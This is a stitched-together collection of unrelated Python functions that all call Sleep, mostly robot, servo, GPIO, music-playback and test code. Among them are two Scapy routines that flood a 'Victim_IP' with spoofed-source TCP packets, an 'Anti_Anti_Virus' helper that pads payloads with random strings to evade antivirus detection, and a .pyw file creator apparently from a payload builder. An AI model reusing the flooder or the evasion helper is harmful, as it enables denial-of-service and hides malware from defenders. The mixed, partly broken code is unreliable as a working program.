def __Roar(self):
# Make it roar
self.__MoveHead(Direction = 'Up', WaitWhileRunning = False)
self.__MoveTrunk(Action = 'Roar', WaitWhileRunning = False)
while self.__ElephantHead.IsRunning():
Sleep(.01)
while self.__ElephantTrunk.IsRunning():
Sleep(.01)
self.__ElephantHead.Stop()
self.__ElephantTrunk.Stop()
# Back to normal position for head and trunk
self.__MoveHead(Direction = 'Down', WaitWhileRunning = False)
self.__ElephantTrunk.PutTrunkDown(Wait = False)
while self.__ElephantHead.IsRunning():
Sleep(.01)
while self.__ElephantTrunk.IsRunning():
Sleep(.01)
self.__ElephantHead.Stop()
self.__ElephantTrunk.Stop()
def run(Source_IP: str, Victim_IP: str, Source_Port: int, Victim_Ports: list,
Count: int, Message: str):
print("Scapy Needs Administrator Permission")
print("UAC Will Run On Windows")
from scapy.all import sendp as Send, TCP as tcp, IP as ip
from time import sleep as Sleep
from random import choice
if Count == -1:
i = 0
while True:
try:
print("Press Ctrl + C To Stop The Process")
IP = ip(src=Source_IP, dst=Victim_IP)
Victim_Port = int(choice(Victim_Ports))
TCP = tcp(sport=Source_Port, dport=(Victim_Port))
Packet = IP / TCP / Message
Send(Packet)
print(
"Send Packet To Target {} from IP {} And Port {} To Port {}"
.format(Victim_IP, Source_IP, Source_Port, Victim_Port))
i += 1
except KeyboardInterrupt:
print(
"Already Send {} Packets To Target {} from IP {} And Port {} To Port {}"
.format(i, Victim_IP, Source_IP, Source_Port, Victim_Port))
Sleep(2)
raise SystemExit
else:
print("Press Ctrl + C To Stop The Process")
for i in range(0, Count):
try:
IP = ip(src=Source_IP, dst=Victim_IP)
Victim_Port = int(choice(Victim_Ports))
TCP = tcp(sport=Source_Port, dport=(Victim_Port))
Packet = IP / TCP / Message
Send(Packet)
print(
"Sent Packet To Target {} from IP {} And Port {} To Port {}"
.format(Victim_IP, Source_IP, Source_Port, Victim_Port))
except KeyboardInterrupt:
print(
"Already Sent {} Packets To Target {} from IP {} And Port {} To Port {}"
.format(i, Victim_IP, Source_IP, Source_Port, Victim_Port))
break
Sleep(2)
raise SystemExit
print("Operation Was Successful. Sent {} Packets To {}".format(
Count, Victim_Port))
def Run(*self, Source_IP, Victim_IP, Source_Port, Victim_Ports, Count,
Message):
from scapy.all import sendp as Send, TCP as tcp, IP as ip
from time import sleep as Sleep
from sys import exit as Exit
print("This Operation Needs Administrator Permission")
print("Running UAC")
Victim_Ports = Victim_Ports.split()
if Count != "-1":
print("Press Ctrl + C To Stop The Process")
for i in range(0, Count):
try:
IP = ip(src=Source_IP, dst=Victim_IP)
TCP = tcp(sport=Source_Port,
dport=([Victim_Port
for Victim_Port in Victim_Ports]))
Packet = IP / TCP / Message
Send(Packet)
print(
"Send Packet To Target {} from IP {} And Port {} To Port {}"
.format(Victim_IP, Source_IP, Source_Port, Victim_Port))
except KeyboardInterrupt:
print(
"Already Send {} Packets To Target {} from IP {} And Port {} To Port {}"
.format(i, Victim_IP, Source_IP, Source_Port, Victim_Port))
break
Sleep(2)
Exit(0)
else:
i = 0
while True:
try:
print("Press Ctrl + C To Stop The Process")
IP = ip(source_IP=Source_IP, destination=Victim_IP)
TCP = tcp(
srcport=Source_Port,
dstport=([Victim_Port for Victim_Port in Victim_Ports]))
Packet = IP / TCP / Message
Send(Packet)
print(
"Send Packet To Target {} from IP {} And Port {} To Port {}"
.format(Victim_IP, Source_IP, Source_Port, Victim_Port))
i += 1
except KeyboardInterrupt:
print(
"Already Send {} Packets To Target {} from IP {} And Port {} To Port {}"
.format(i, Victim_IP, Source_IP, Source_Port, Victim_Port))
Sleep(2)
Exit(0)
def SetAngle(angle, target_pin):
if target_pin == 3:
duty = angle / 18 + 2
GPIO.output(target_pin, True)
pwm_h.ChangeDutyCycle(duty)
Sleep(0.2)
GPIO.output(target_pin, False)
pwm_h.ChangeDutyCycle(0)
elif target_pin == 5:
duty = angle / 18 + 2
GPIO.output(target_pin, True)
pwm_v.ChangeDutyCycle(duty)
Sleep(0.2)
GPIO.output(target_pin, False)
pwm_v.ChangeDutyCycle(0)
def main_loop():
manager = None
kernel = connect()
print("Producer Connected to Aether.")
try:
while True:
offset = get_offset("entities")
new_items = count_since(offset)
if new_items:
print ("Found %s new items, processing" % new_items)
entities = get_entities(offset)
manager = StreamManager(kernel)
manager.send(entities)
manager.stop()
if manager.killed:
print("processed stopped by SIGTERM")
break
manager = None
else:
# print ("No new items. Offset is %s, sleeping for %s s" % (offset, SLEEP_TIME))
Sleep(SLEEP_TIME)
except KeyboardInterrupt as ek:
print ("Caught Keyboard interrupt")
if manager:
print ("Trying to kill manager")
manager.stop()
except Exception as e:
print(e)
if manager:
manager.stop()
def Create_File(*self, PATH):
from colorama import Fore
Red, Blue, Green, Reset = Fore.LIGHTRED_EX, Fore.LIGHTBLUE_EX, Fore.LIGHTGREEN_EX, Fore.RESET
from time import sleep as Sleep
print("[" + Green + "!" + Reset + "]" + Reset + "Creating File...", end="")
try:
f = open(PATH, "x").close()
except FileExistsError:
Sleep(0.5)
choice = str(input(
"\r[" + Red + "-" + Reset + "]" + Reset + "Creating File...Failed \nFile Already Exists Confirm Overwrite : (N or Y)"))
Choice = choice.upper()
if Choice == "Y":
return PATH
elif Choice == "N":
file_name = str(input("Write Down File Name Here : "))
file_name += ".pyw"
return file_name
else:
print(Red + "\r[!]" + Reset + "In Valid Input", end="")
return ''
else:
file_name = PATH
print("\r[" + Blue + "+" + Reset + "]" +
Reset + "Creating File...Done", end="")
return file_name
def SetAngle(angle):
duty = angle / 18 + 2
GPIO.output(5, True)
pwm_v.ChangeDutyCycle(duty)
Sleep(1)
GPIO.output(5, False)
pwm_v.ChangeDutyCycle(0)
def test01_instant(self):
"""test01_instant()
"""
# sequ: Sequencer = Sequencer(0.1) # sequencer with an interval of .1 sec
# sequencer with an interval of 15.0 sec
sequ: Sequencer = Sequencer(5.0) # init for 5 sec delay
self.assertAlmostEqual(5.0, sequ.delayseconds)
self.assertEqual(20, len(sequ._to_do_sched))
self.assertFalse(sequ.do_it_now())
self.assertEqual(0, sequ.skipped)
initiallastsched = sequ._to_do_sched[-1]
cnt: int = 0
starttime = monotonic()
while not sequ.do_it_now():
Sleep(0.25)
self.assertEqual(0, sequ.skipped)
cnt += 1
endtime = monotonic()
toloop = endtime - starttime
self.assertAlmostEqual(10.0, round(toloop, 0))
currentlastsched = sequ._to_do_sched[-1]
delay1 = currentlastsched - initiallastsched
self.assertAlmostEqual(5.0, delay1)
self.assertTrue(38 < cnt < 41)
sched: List[float] = list(sequ._to_do_sched)
ll: List[float] = []
for i in range(1, len(sched)):
ll.append(sched[i] - sched[i - 1])
self.assertEqual(5.0, mean(ll))
sequ = Sequencer(1) # init for 1 sec delay
Sleep(20.5)
self.assertEqual(20, len(sequ._to_do_sched))
self.assertTrue(sequ.do_it_now())
self.assertEqual(20, len(sequ._to_do_sched))
self.assertEqual(11, sequ.skipped)
sequ = Sequencer(5.0) # init for 5 sec delay
waittime: float = sequ.get_nxt_wait()
Sleep(waittime - 0.5)
waittime = sequ.get_nxt_wait()
self.assertAlmostEqual(0.5, waittime, places=1)
a = 0
def PauseSong(self): #this fucntion pause the song playing
Sleep(2) #delay to get rid of function call besides the first
if self.Playing.is_set(): #check if the song is playing
print(f'{Identity()} is pausing')
self.Playing.clear() #clear the playing state
if not self.Playing.is_set(): #check if the song is not playing
print(f'{Identity()} is resuming')
self.Playing.set() #set the song as playing
def wait_for(id, path):
print "Loading page..."
iteration = 1
while not path_exists(id, path):
Sleep(1)
print "Waiting for page to load... (%s)" % iteration
iteration += 1
def SetAngle(orientation):
horizontal_servo = Servo(13)
vertical_servo = Servo(12)
while True:
print(((int(orientation[0]))), ((int(orientation[1]))))
if orientation[1] - 50 > 170.0 or orientation[1] - 50 < 1.0:
continue
vertical_servo.write(orientation[1] - 50)
Sleep(0.2)
if orientation[0] > 180.0 or orientation[1] < 1.0:
continue
horizontal_servo.write(orientation[0])
Sleep(0.2)
def _get_json(self, url):
Sleep(self.throttle)
self.driver.get(url)
try:
text = self.driver.find_element_by_tag_name("pre").get_attribute("innerHTML")
return Parse(text)
except Exception as error:
print(error)
self.halt()
def StopSong(self): #this fucntion stop the song
if not StopFunction.locked(): #check if the fucntion has called by multiple thread
print('Stop called')
Sleep(1)
self.Stop.set() #set the stop state
self.Playing.clear() #clear the playing state
self.PlayButton.state(['!disabled']) #enable the play button
self.PlayButton.state(['!pressed']) #reset the play button to the default state
ReleaseResources() #release possible hanging resources
def do_unfollow(self, username):
Sleep(self.throttle)
self.driver.get("{}/{}".format(URL_BASE, username))
try:
eButton = self.driver.find_element_by_xpath('//button[text()="Following"]')
eButton.click()
except NoSuchElementException:
return False
eButton = self.driver.find_element_by_css_selector("div[role=dialog] button:nth-child(1)")
eButton.click()
def Run(self):
# Set the trunk to a "normal" (aka beautiful) position
self.__ElephantTrunk.PutToNormalPosition()
# Move forward
self.__ElephantLegs.MoveForward(Wait = False)
while self.__ElephantLegs.IsRunning():
# Make the elephant roaring
self.__Roar()
# Sleeping
Sleep(5)
# Make the elephant eating
self.__MoveTrunk(Action = 'Eat')
self.__ElephantTrunk.PutTrunkDown(Wait = True)
# Sleeping
Sleep(5)
def stop():
GPIO.output(37, GPIO.LOW)
GPIO.output(35, GPIO.LOW)
GPIO.output(33, GPIO.LOW)
GPIO.output(31, GPIO.LOW)
GPIO.output(11, GPIO.LOW)
GPIO.output(13, GPIO.LOW)
GPIO.output(15, GPIO.LOW)
GPIO.output(18, GPIO.LOW)
Sleep(3)
def right():
GPIO.output(37,GPIO.LOW)
GPIO.output(35,GPIO.HIGH)
GPIO.output(33,GPIO.LOW)
GPIO.output(31,GPIO.LOW)
GPIO.output(11,GPIO.LOW)
GPIO.output(13,GPIO.HIGH)
GPIO.output(15,GPIO.LOW)
GPIO.output(18,GPIO.LOW)
Sleep(3)
def forward():
GPIO.output(37,GPIO.LOW)
GPIO.output(35,GPIO.HIGH)
GPIO.output(33,GPIO.HIGH)
GPIO.output(31,GPIO.LOW)
GPIO.output(11,GPIO.LOW)
GPIO.output(13,GPIO.HIGH)
GPIO.output(15,GPIO.HIGH)
GPIO.output(18,GPIO.LOW)
Sleep(3)
def left():
GPIO.output(37, GPIO.HIGH) #back right
GPIO.output(35, GPIO.LOW)
GPIO.output(33, GPIO.HIGH) #back left
GPIO.output(31, GPIO.LOW)
GPIO.output(11, GPIO.LOW) #front right
GPIO.output(13, GPIO.HIGH)
GPIO.output(15, GPIO.HIGH) #front left
GPIO.output(18, GPIO.LOW)
Sleep(3)
def test06_checkgen_dt(self):
print('10 MIN DELAY')
_lw1 = LocalWeather()
_lw1.load()
self.assertTrue(_lw1.valid)
Sleep(10)
_lw2 = LocalWeather()
_lw2.load()
self.assertTrue(_lw2.valid)
Sleep(610)
_lw3 = LocalWeather()
_lw3.load()
self.assertTrue(_lw3.valid)
diffs: List[bool] = []
diffs.append(_lw1.times['dt'].ts == _lw2.times['dt'].ts)
diffs.append(_lw2.times['dt'].ts == _lw3.times['dt'].ts)
diffs.append(_lw1.times['dt'].ts == _lw3.times['dt'].ts)
aa = sum(1 for x in diffs if x)
self.assertEqual(1, aa)
def InitPosition(self):
Logging.info('Moving trunk to initial position')
# Move the trunk until the touch sensor is pressed
self.Speed = -400
self.StopAction = 'brake'
self.RunForever()
while not self.__Sensor.is_pressed:
Sleep(.01)
# Set position to 0
self.MotorReset()
def moveServos():
v_angle = int(float(request.form["updown"]))
h_angle = int(float(request.form["leftright"]))
if v_angle < 0:
v_angle += 180
h_angle = h_angle % 180
print('Horizontal: ' + str(h_angle) + " Vertical: " + str(v_angle))
SetAngle(v_angle,vertical)
SetAngle(h_angle,horizontal)
Sleep(0.2)
return ""
def PlayChord(Sounds, Duration): # function play a single chord of the part
#print(Duration)
for Sound in Sounds: #for loop to make every note of the chord unavailable for other threads (to avoid deadlock)
NotesFlags[Sound] = False #lock single resource
for Sound in Sounds: #for loop to press chord-corresponding keys
PressKey(DXCodes[Notes[Sound]]) #press the note-corresponding key of the chord
Sleep(abs(Duration)) #wait the duration of the notes
for Sound in Sounds: #for loop to release chord-corresponding keys
ReleaseKey(DXCodes[Notes[Sound]]) #release the note-corresponding key of the chord
for Sound in Sounds:#for loop to make every note of the chord available for other threads
NotesFlags[Sound] = True #unlock single resource
def Anti_Anti_Virus(*self, Count):
from colorama import Fore
Red, Blue, Green, Reset = Fore.LIGHTRED_EX, Fore.LIGHTBLUE_EX, Fore.LIGHTGREEN_EX, Fore.RESET
from time import sleep as Sleep
print("[" + Green + "!" + Reset + "]" +
"Generating Random String To Decrease AV Ditection...", end="")
Sleep(0.2)
try:
Result = tuple()
for i in range(0, Count):
Result = Result + (random_string(), )
except:
print("\r[" + Red + "-" + Reset + "]" +
"Generating Random String To Decrease AV Ditection...Failed ", end="")
Sleep(1)
print("\r[" + Green + "!" + Reset + "]" +
"Generating Random String To Decrease AV Ditection...Failed -> Passed")
Sleep(0.2)
return False
else:
print("\r[" + Blue + "+" + Reset + "]" +
"Generating Random String To Decrease AV Ditection...Done")
return Result
def run(self):
while self.isStop():
print self.isStop() #Debug
self.output_map()
for row in xrange(0, MAXROW):
for col in xrange(0, MAXCOL):
num = self.neighbors(row, col)
if num == 2:
self.newmap[row][col] = self.oldmap[row][col]
elif num == 3:
self.newmap[row][col] = ALIVE
else:
self.newmap[row][col] = DEAD
self.copy_map()
Sleep(0.5)
def AppendRandomNumberOfBits(Filename: str, Interval: int):
global NumberofAppends
while (True):
BinaryFile = open(Filename, 'ab') # Open the file in append mode .
RandomNumberOfBits = RandomNumber(
0, 100) # Get a random number between 0 and 100 .
GeneratedRandomNumber = RandomBits(
RandomNumberOfBits
) # Get a random number consists of 0-100 number of bits .
BinaryFile.write(
GeneratedRandomNumber.to_bytes(
(GeneratedRandomNumber.bit_length() // 8) + 1, byteorder='big')
) # Append the generated number to the binary file .
BinaryFile.close() # Close the file .
NumberofAppends = NumberofAppends + 1 # Increment the number of appends.
Sleep(Interval) # Sleep for number of seconds = 10 .
def RemoveRandomNumberOfBits(Filename: str, Interval: int):
global NumberofRemoves
while (True):
BinaryFile = open(Filename, 'rb') # Open the file in read mode .
RandomNumberOfBits = RandomNumber(
0, 50) # Get a random number between 0 and 50 .
BinaryFile.seek(
(RandomNumberOfBits // 8) + 1) # Skip the first 0-50 bits .
TheRestOfData = BinaryFile.read() # Read the rest of the file .
BinaryFile.close()
BinaryFile = open(Filename, 'wb')
BinaryFile.write(
TheRestOfData) # Write the new data without the first 0-50 bits .
BinaryFile.close()
NumberofRemoves = NumberofRemoves + 1 # Increment the number of removes .
Sleep(Interval) # Sleep for number of seconds = 20 .
def Backup (self):
# Main loop, trying to copy from one directory to another;
while True:
# Try copy files from MainFolder to TargetFolder;
try:
Copy (self.MainFolder, self.TargetFolder);
except:
# If can't copy, tell the user and stop the process;
print ("Could Not Execute The Backup.");
break;
# Tell the user that the backup has been done;
print ("Backup Done!\n Files Copied From: %s To: %s." % (self.MainFolder, self.TargetFolder));
# Wait using the Delay before save again;
Sleep (int (self.Delay));
def __Repeat__(self):
# This Method Executes The Given Task Repeatedly.
# Explanation :
# The Method Uses 'Estimated_Sleep_Time' and 'After_Task_Sleep_Time',
# To Calculate The Needed Sleep Time, In Order To Prevent Task Drifting.
# Task Drifting :
# Is When A Task Takes Longer Then Estimated To Execute, And The
# Following Tasks, Executig With An Unwanted Delay.
# Estimated_Sleep_Time :
# Is The Time The User Rquested To Wait, Between Task Executions.
# After_Task_Sleep_Time :
# Is The Time Left To Sleep, After The Task Was Executed.
# Pre-Calculations :
Estimated_Sleep_Time = Time() + self.Interval
try: # Trying To Execute The Given Task.
while not self.__Stop_Flag__: # Continue Executing, If The Stop Flag Is False.
self.Task(*self.Args, **self.KWArgs) # Executing The Task.
After_Task_Sleep_Time = max(
0,
Estimated_Sleep_Time - Time()) # Preventing Task Drifting.
Sleep(After_Task_Sleep_Time) # Calculating The New Sleep Time.
Estimated_Sleep_Time += self.Interval # Updating The 'Estimated_Sleep_Time'.
except Exception as Error: # Catching The Error.
print(f'An Error Has Occurred While Executing The Task :\n{Error}')
def get_cat_dataA(self, cmd_list: List[Tuple[Any, ...]]) -> List[Any]:
results: List[SMeter] = []
freq = None
for cmdt in cmd_list:
result = None
c: str = cmdt.cmd[0:4]
if c == 'wait':
delay = float(cmdt.cmd[4:])
Sleep(delay)
continue
if c not in FLEX_CAT_ALL:
raise ValueError('illegal flex command')
result = self._ui.serial_port.docmd(cmdt.cmd)
if c == 'ZZFA':
while not result.startswith('ZZFA'):
result = self._ui.serial_port.docmd(cmdt.cmd)
_ = cmdt.cmd[4:-1] # get ascii rep of the frequency
freq = int(_)
if cmdt.fn: # process the result if provided
_ = result.split(';')
vals = None
if len(_) > 2:
# extract the results from the command
try:
vals = [int(ss[4:]) for ss in _ if ss]
except ValueError as ve:
raise ve
# and get the average
avg: float = int(round(sum(vals) / len(vals)))
result = f'ZZSM{avg :03d};' # .format(avg)
# process the results by code in cmd[1]
result = cmdt.fn((result, freq))
results.append(result)
return results